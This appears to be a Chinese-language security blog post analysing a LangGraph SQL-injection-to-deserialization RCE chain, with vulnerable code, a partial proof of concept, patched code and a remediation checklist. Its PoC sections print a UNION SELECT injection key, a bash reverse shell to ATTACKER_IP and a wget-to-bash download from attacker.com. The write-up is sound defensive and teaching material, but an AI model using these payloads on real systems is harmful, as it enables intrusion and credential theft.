AI测试 CVE-2025-67644 & CVE-2025-64439 | LangGraph SQL 注入→反序列化 RCE 链:当 AI Agent 的状态持久层变成武器

匠测AI说 · 2026年08月11日 · 63 次阅读

⚠️ 免责声明: 本文内容仅用于安全研究与教育目的。文中涉及的漏洞均已公开披露且已有官方修复方案。所有复现示例均基于概念验证思路,不构成直接可用的攻击代码。请勿将相关技术用于未经授权的测试或攻击行为。

漏洞等级: CVSS 7.3 / 7.4(组合利用可升级为严重)
影响版本: langgraph‑checkpoint‑sqlite < 3.0.1,langgraph < 1.0.10
漏洞类型: SQL 注入 + 反序列化远程代码执行(RCE)
CVE 编号: CVE‑2025‑67644(SQL 注入)、CVE‑2025‑64439(反序列化 RCE)、CVE‑2026‑28277(补充编号)
影响范围: 所有使用 SQLite 或 Redis checkpoint 后端的自托管 LangGraph 实例
当前状态: ✅ 已修复(langgraph‑checkpoint‑sqlite ≥ 3.0.1,langgraph ≥ 1.0.10)


一、漏洞背景

1.1 LangGraph 是什么

LangGraph 是由 LangChain 团队开发的开源 AI Agent 编排框架,月下载量约 4650-5000 万次,是当前 Python 生态中使用最广泛的 Agent 工作流引擎之一。

与简单的 LLM 调用链不同,LangGraph 专注于构建有状态、多步骤、多 Actor的 AI Agent 系统。它的核心设计理念是将 Agent 执行过程建模为一张有向图(Graph),每个节点是一个处理步骤,每条边定义了步骤间的流转逻辑。

核心组件——Checkpointer(检查点持久化层):

LangGraph 区别于普通 LLM 链的关键特性是状态持久化。Agent 运行过程中的对话历史、工具调用结果、中间推理步骤,全部通过 checkpointer 组件存储到后端数据库。这使得 Agent 可以"记住"之前的执行状态,支持暂停 - 恢复、时间旅行(回退到任意历史状态)、人机协作等高级能力。

LangGraph 支持多种 checkpoint 后端:

后端 适用场景 部署模式
SQLite 本地开发、轻量部署 单文件数据库,开发环境常用
Redis 分布式、高性能 适合生产环境的内存存储
PostgreSQL 企业级生产环境 LangSmith 托管平台使用

1.2 漏洞发现与披露时间线

时间 事件
2025-11 Check Point Research 研究员 Yarden Porat 同时发现三个漏洞,披露给 LangChain 团队
2025-12 修复版本陆续开始发布
2026-03 langgraph-checkpoint-redis 1.0.2 发布,修复最后一个漏洞
2026-06-11 Check Point Research 公开发表研究报告,完整披露攻击链

1.3 漏洞概述

这不是一个漏洞,而是一条完整的攻击链——两个独立漏洞的组合,形成了一条从 SQL 注入到远程代码执行的致命通路:

  1. CVE-2025-67644(CVSS 7.3):SQLite checkpoint 层的 SQL 注入漏洞,允许攻击者在查询结果中插入伪造数据
  2. CVE-2025-64439(CVSS 7.4):msgpack 反序列化层的远程代码执行漏洞,允许通过精心构造的序列化数据执行任意 Python 代码

单独来看,每个漏洞都是"中等严重"。但组合在一起,它们形成了一条完整的 RCE 链——攻击者可以通过一个 SQL 注入点,将恶意序列化 payload 注入到 checkpoint 数据中,然后在 LangGraph 加载该 checkpoint 时触发任意代码执行。

此外还涉及一个 Redis checkpoint 注入漏洞(CVE-2026-27022,CVSS 6.5),可绕过访问控制。


二、漏洞原理与复现

2.1 漏洞一:SQL 注入(CVE-2025-67644)

位置: langgraph-checkpoint-sqlite 包中的 SQLiteSaver.metadata_predicate() 函数

根因: query_key 通过 Python f-string 直接拼接进 SQL WHERE 子句,没有使用参数化查询。

问题代码:

# metadata_predicate() 函数中的关键代码
def metadata_predicate(
    metadata: dict[str, Any],
    query_key: str,
    operator: str
) -> str:
    # ❌ 危险:query_key 通过 f-string 直接拼入 SQL
    return f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"

调用链:

# get_state_history() 和 list() 方法接受 filter 参数
# filter 中的 key 直接传入 metadata_predicate()
def get_state_history(
    self,
    config: RunnableConfig,
    *,
    filter: Optional[dict[str, Any]] = None  # ← 用户可控
) -> Iterator[CheckpointTuple]:

    if filter:
        for query_key, value in filter.items():
            # query_key 未经任何过滤或转义
            predicate = metadata_predicate(metadata, query_key, operator)
            # 拼入 SQL WHERE 子句 → SQL注入
            where_clause += f" AND {predicate}"

攻击入口: get_state_history()list() 方法的 filter 参数。如果应用层暴露了这个接口且 filter 的 key 来自用户输入,攻击者就可以注入任意 SQL 片段。

2.2 漏洞二:反序列化 RCE(CVE-2025-64439)

位置: LangGraph 的 JsonPlusSerializer 组件,具体在 msgpack checkpoint 解码器中

根因: 反序列化 extension types 时,使用了危险的 getattr(importlib.import_module(module_name), callable_name)(arguments) 模式,允许调用任意 Python callable。

问题代码(简化):

# JsonPlusSerializer 中的 msgpack 反序列化逻辑
def _decode_ext_type(self, code: int, data: bytes):
    module_name = extract_module(data)    # 从序列化数据中提取模块名
    callable_name = extract_callable(data) # 从序列化数据中提取可调用对象名
    arguments = extract_args(data)         # 从序列化数据中提取参数

    # ❌ 致命:动态加载任意模块的任意函数并执行
    module = importlib.import_module(module_name)
    target = getattr(module, callable_name)
    return target(**arguments)  # ← RCE入口

攻击者可以构造恶意 msgpack payload,使反序列化时执行:

# 等价于攻击者构造的 payload 被解码为:
import os
os.system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'")

# 或者
import subprocess
subprocess.Popen(["wget", "http://attacker.com/malware.sh", "-O", "-", "|", "bash"])

本质: 这等同于 Python 版的 pickle.loads() 反序列化漏洞——任何允许攻击者控制反序列化输入的系统,都等价于允许远程代码执行。

2.3 数据流向(安全分析视角)

阶段1:SQL注入 → 植入恶意checkpoint
  用户可控的 filter 参数
       ↓
  metadata_predicate()  [无参数化查询,f-string拼接]
       ↓
  SQLite WHERE 子句  [UNION SELECT 注入伪造行]
       ↓
  伪造的 checkpoint 行(含恶意 msgpack payload)
       ↓
  查询结果返回给 LangGraph

阶段2:反序列化 → 触发RCE
  LangGraph 加载 checkpoint
       ↓
  msgpack 解码器  [JsonPlusSerializer]
       ↓
  importlib.import_module() + getattr()  [动态调用任意callable]
       ↓
  os.system("恶意命令")  [RCE达成]
       ↓
  服务器完全失陷

核心问题:两个组件各自都有安全缺陷,单独存在时风险有限,但组合在一起形成了一条从"数据注入"到"代码执行"的完整攻击路径。


三、攻击流程介绍

3.1 漏洞利用前提

  • LangGraph 实例使用 SQLite checkpoint 后端(或 Redis 后端,对应 CVE-2026-27022)
  • 应用暴露了 get_state_history()list() 接口,且 filter 参数可由用户控制
  • 受影响版本未打补丁

⚠️ 重要说明: LangChain 官方托管平台(LangSmith Deployment)使用 PostgreSQL 后端,不受本次漏洞影响。受影响的主要是自托管部署中使用 SQLite 或 Redis 的实例。

3.2 利用路径总览

步骤 攻击阶段 揭示的风险
Step 1 SQL 注入探测 确认 filter 参数可注入,checkpoint 数据库可被操纵
Step 2 注入伪造 checkpoint 通过 UNION SELECT 在查询结果中插入恶意序列化数据
Step 3 触发反序列化 LangGraph 加载伪造 checkpoint,触发 msgpack 解码
Step 4 RCE 达成 任意代码执行,服务器完全控制

3.3 漏洞利用链路示意

┌──────────────────────────────┐
│     攻击者                    │
│  构造恶意 filter 参数         │
└───────────┬──────────────────┘
            │ Step 1: SQL注入
            ▼
┌──────────────────────────────┐
│   LangGraph 应用层            │
│   get_state_history(filter)  │
│   filter 参数未做净化          │
└───────────┬──────────────────┘
            │ Step 1→2: f-string拼入SQL
            ▼
┌──────────────────────────────┐
│   SQLite Checkpoint 数据库    │
│   UNION SELECT 注入伪造行     │
│   checkpoint列 = 恶意msgpack  │
└───────────┬──────────────────┘
            │ Step 3: 返回伪造checkpoint
            ▼
┌──────────────────────────────┐
│   JsonPlusSerializer          │
│   msgpack 反序列化             │
│   importlib + getattr 调用     │
└───────────┬──────────────────┘
            │ Step 4: RCE
            ▼
┌──────────────────────────────┐
│   💀 服务器完全控制            │
│   - LLM API Keys 泄露        │
│   - 完整对话历史暴露           │
│   - 连接的数据系统可访问       │
│   - 内网横向移动跳板           │
└──────────────────────────────┘

四、模拟复现

以下为基于Check Point Research 公开报告中的 PoC 思路,给出的概念验证教学示意。所有代码仅为理解漏洞原理,不构成直接可用的攻击工具。请仅在自己的测试环境中验证。

环境准备

  • 测试环境:本地部署的 LangGraph 应用,使用 SQLite checkpoint 后端
  • 受影响版本:langgraph-checkpoint-sqlite < 3.0.1langgraph < 1.0.10
  • Python 3.10+

Step 1:SQL 注入——植入伪造 Checkpoint

攻击者通过 get_state_history() 的 filter 参数注入恶意 SQL:

# 概念验证:SQL注入构造(教学示意,非可直接运行)
# 正常调用:
# graph.get_state_history(filter={"user_id": "alice"})
#
# 攻击者构造的恶意 filter key:
malicious_filter = {
    "1') UNION SELECT "
    "thread_id, checkpoint_ns, checkpoint_id, "
    "parent_checkpoint_id, checkpoint, metadata "  # 伪造的列数据
    "FROM (SELECT "
    "'malicious_thread', '', 'injected_checkpoint', '', "
    # checkpoint列中嵌入恶意msgpack payload
    "X'87...' AS checkpoint, "  # 精心构造的 msgpack 二进制数据
    "'{}' AS metadata) -- ": "value"
}

# 实际执行时,metadata_predicate() 会生成如下SQL:
# json_extract(CAST(metadata AS TEXT), '$.<注入的SQL>') <operator>
# 
# 最终拼出的SQL类似:
# SELECT * FROM checkpoints WHERE 
#   json_extract(CAST(metadata AS TEXT), '$.1') UNION SELECT ...') = 'value'
#
# UNION SELECT 成功在查询结果中插入一行攻击者控制的伪造 checkpoint

Step 2:构造恶意 msgpack Payload

利用 CVE-2025-64439 的反序列化特性,构造可以执行系统命令的 msgpack extension type:

# 概念验证:恶意 msgpack payload 构造思路
import msgpack

# JsonPlusSerializer 使用 msgpack extension type 来编码 Python 对象
# extension type 的格式大致为:(module_name, callable_name, arguments)

# 攻击者需要构造一个 extension type,使其解码后等价于:
# import os; os.system("恶意命令")

# 恶意 payload 的核心结构(简化示意):
malicious_payload = {
    "module": "os",           # importlib.import_module("os")
    "callable": "system",     # getattr(os, "system")
    "args": {
        "command": "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
    }
}

# 将上述结构编码为 msgpack extension type 格式
# packed = msgpack.packb(malicious_payload, use_bin_type=True)
# 然后嵌入到 Step 1 的 UNION SELECT 的 checkpoint 列中

Step 3:触发反序列化——RCE 达成

当 LangGraph 应用调用 get_state_history() 并接收到包含伪造 checkpoint 的查询结果时:

# 应用层代码(受害者端)
from langgraph.checkpoint.sqlite import SqliteSaver

checkpointer = SqliteSaver.from_conn_string("checkpoints.db")

# 这一调用会:
# 1. 执行被注入的SQL(Step 1的UNION SELECT生效)
# 2. 返回结果中包含攻击者伪造的checkpoint行
# 3. LangGraph尝试加载这个checkpoint
history = list(checkpointer.get_state_history(filter=malicious_filter))

# 在加载checkpoint的过程中:
# → checkpoint列的msgpack数据被送入 JsonPlusSerializer
# → msgpack解码器解析 extension type
# → importlib.import_module("os") + getattr(os, "system")
# → os.system("bash -c '...'") → 反弹shell到攻击者服务器
# → 💀 RCE 达成

Step 4:被控后的影响评估

一旦 RCE 成功,攻击者可以:

资产类别 具体内容 危害等级
🔴 LLM API 密钥 OpenAI、Anthropic、Google 等所有配置的 API Key 密钥泄露 + 巨额账单
🔴 完整对话历史 所有 Agent 执行过的对话、prompt、工具调用结果 商业机密/用户隐私泄露
🔴 连接的数据系统 CRM、工单系统、计费系统、客户 PII 数据 数据泄露 + 合规风险
🟡 内网横向移动 以服务器身份访问内部网络的其他系统 整个内网沦陷
🟡 持久化后门 在 Agent 工作流中植入后门,每次执行都触发 长期潜伏

💡 风险本质: LangGraph 的 checkpoint 存储了 Agent 执行过程中的所有状态数据,包括 LLM 密钥、对话历史、工具调用凭据等。一个 checkpoint 层的注入漏洞,等同于整个 AI Agent 系统的"记忆"被篡改和窃取。


五、修复记录

5.1 官方修复

修复 1:SQL 注入防护(CVE-2025-67644)

修复版本:langgraph-checkpoint-sqlite ≥ 3.0.1

核心修复:将 f-string 拼接改为参数化查询

# 修复前(危险):
return f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"

# 修复后(安全):
# 使用参数化查询,query_key 作为参数传入,不再直接拼入SQL
cursor.execute(
    "SELECT * FROM checkpoints WHERE json_extract(CAST(metadata AS TEXT), ?) = ?",
    (f"$.{query_key}", value)
)

修复 2:反序列化安全加固(CVE-2025-64439)

修复版本:langgraph ≥ 1.0.10

核心修复:对 JsonPlusSerializer 的 extension type 解码添加白名单机制,禁止加载非预期的模块和 callable。

# 修复前(危险):
module = importlib.import_module(module_name)  # 可加载任意模块
target = getattr(module, callable_name)        # 可获取任意函数

# 修复后(安全):
# 添加允许的模块白名单,仅允许反序列化预定义的安全类型
ALLOWED_MODULES = {"langchain_core", "langgraph", "pydantic", ...}
if module_name not in ALLOWED_MODULES:
    raise SecurityError(f"Deserialization of {module_name} is not allowed")

修复 3:Redis checkpoint 注入(CVE-2026-27022)

修复版本:langgraph-checkpoint-redis ≥ 1.0.2

核心修复:对 RediSearch 查询参数进行严格校验和转义,防止查询注入。

5.2 运营方自救清单

如果你正在运营使用 LangGraph 的 AI Agent 系统,请立即执行以下检查:

优先级 操作 说明
🔴 P0 检查版本 确认 langgraph-checkpoint-sqlite 是否 < 3.0.1,langgraph 是否 < 1.0.10
🔴 P0 立即升级 pip install --upgrade langgraph-checkpoint-sqlite>=3.0.1 langgraph>=1.0.10
🔴 P0 排查 filter 入口 检查应用中是否有将用户输入直接传入 get_state_history(filter=...) 的代码路径
🟡 P1 轮换所有密钥 如果怀疑已被利用,立即轮换所有 LLM API 密钥和系统凭据
🟡 P1 检查审计日志 查看 checkpoint 数据库是否有异常的写入或查询记录
🟡 P1 部署认证层 LangGraph Server 不应直接暴露,必须在反向代理/API 网关后加认证
🟢 P2 最小权限原则 Agent 运行时使用的凭据应遵循最小权限,限制可访问的系统范围
🟢 P2 采用 credential brokering 避免在 Agent 中使用长期静态密钥,改为动态凭据代理模式

5.3 关联漏洞提醒

LangGraph/LangChain 生态在 2025-2026 年披露了多个安全漏洞,建议一并排查:

CVE 编号 类型 CVSS 影响
CVE-2025-67644 SQLite checkpoint SQL 注入 7.3 本次文章
CVE-2025-64439 msgpack 反序列化 RCE 7.4 本次文章
CVE-2026-27022 Redis checkpoint 查询注入 6.5 绕过访问控制
CVE-2026-28277 反序列化 RCE 补充编号 6.8 本次文章

六、总结与思考

6.1 这个漏洞链为什么值得关注?

单独看,SQL 注入(7.3)和反序列化 RCE(7.4)都只是"高"级别。但组合在一起,它们代表了一种经典的链式攻击模式——数据注入 → 代码执行

这种模式在安全史上反复出现:

  • 2015 年的 Apache Commons Collections 反序列化链
  • 2021 年的 Log4Shell(日志注入 → JNDI 查找 → RCE)
  • 现在的 LangGraph(SQL 注入 → 伪造 checkpoint → 反序列化 RCE)

核心教训是:安全评估不能只看单个漏洞的 CVSS 分数,而要看漏洞之间的组合效应。 两个"高"危漏洞组合在一起,实际危害可能超过一个"严重"漏洞。

6.2 对 AI 开发者的警示

  1. Checkpointer 是信任边界:checkpoint 存储了 Agent 的"记忆",包括密钥、对话、工具调用结果。它不是一个普通的数据存储,而是整个 Agent 系统的信任根基。对 checkpoint 数据的读写必须有严格的安全控制。

  2. 参数化查询不是可选项:2025 年了,SQL 注入仍然是 AI 框架中的高危漏洞。任何接受用户输入并用于数据库查询的代码路径,都必须使用参数化查询,没有例外。

  3. 反序列化 = 代码执行:任何允许攻击者控制反序列化输入的系统,都等价于允许远程代码执行。Python 的 picklemsgpack extension types、Java 的 ObjectInputStream 都是已知的危险区域。修复方案是白名单机制,而非黑名单。

  4. AI Agent 是特权身份:AI Agent 通常持有 LLM API 密钥、数据库凭据、第三方服务 token 等高价值凭据。安全架构上应将 Agent 视为"compromised privileged account"——假设它随时可能被攻破,在此基础上设计纵深防御。

  5. 托管平台 ≠ 自托管:LangSmith 使用 PostgreSQL 后端,不受此次 SQLite 漏洞影响。但大量企业在本地或私有云自托管 LangGraph,使用的是 SQLite 做快速验证——这些"开发环境"往往最终变成了生产环境。

6.3 写在最后

2026年6月11日,Check Point Research 公开披露了这条攻击链,引发了 AI 安全社区的广泛关注。LangGraph 作为月下载量近 5000 万的 Agent 框架,其 checkpoint 层的安全缺陷影响范围不可小觑。

但这不意味着 LangGraph"不安全"——恰恰相反,这次漏洞的发现、披露和修复流程是负责任披露的典范:2025 年 11 月私下报告给 LangChain 团队,经过数月协调修复后,于 2026 年 6 月公开发表。LangChain 团队也在收到报告后迅速发布了修复版本。

真正值得警惕的是模式:AI Agent 框架正在快速成为企业基础设施的一部分,但它们的安全成熟度远未达到企业级要求。从 FastGPT 的未认证 SSRF(第 1 篇),到 PraisonAI 的巨型漏洞簇(第 2 篇),再到 LangGraph 的 SQL 注入→RCE 链,我们看到的是同一个问题反复出现——开发速度远超安全意识

作为 AI 开发者,我们需要在"快速迭代"和"安全基线"之间找到平衡。至少做到:参数化查询、认证全覆盖、反序列化白名单、凭据最小权限。这四条做到了,80% 的漏洞链就断了。


参考资料


上一篇回顾: PraisonAI 巨型漏洞簇——MCP STDIO 供应链攻击

下一篇预告: Langflow 路径遍历→RCE(CVE-2026-5027)——当 AI 工作流的文件访问没有边界

暂无回复。
需要 登录 后方可回复, 如果你还没有账号请点击这里 注册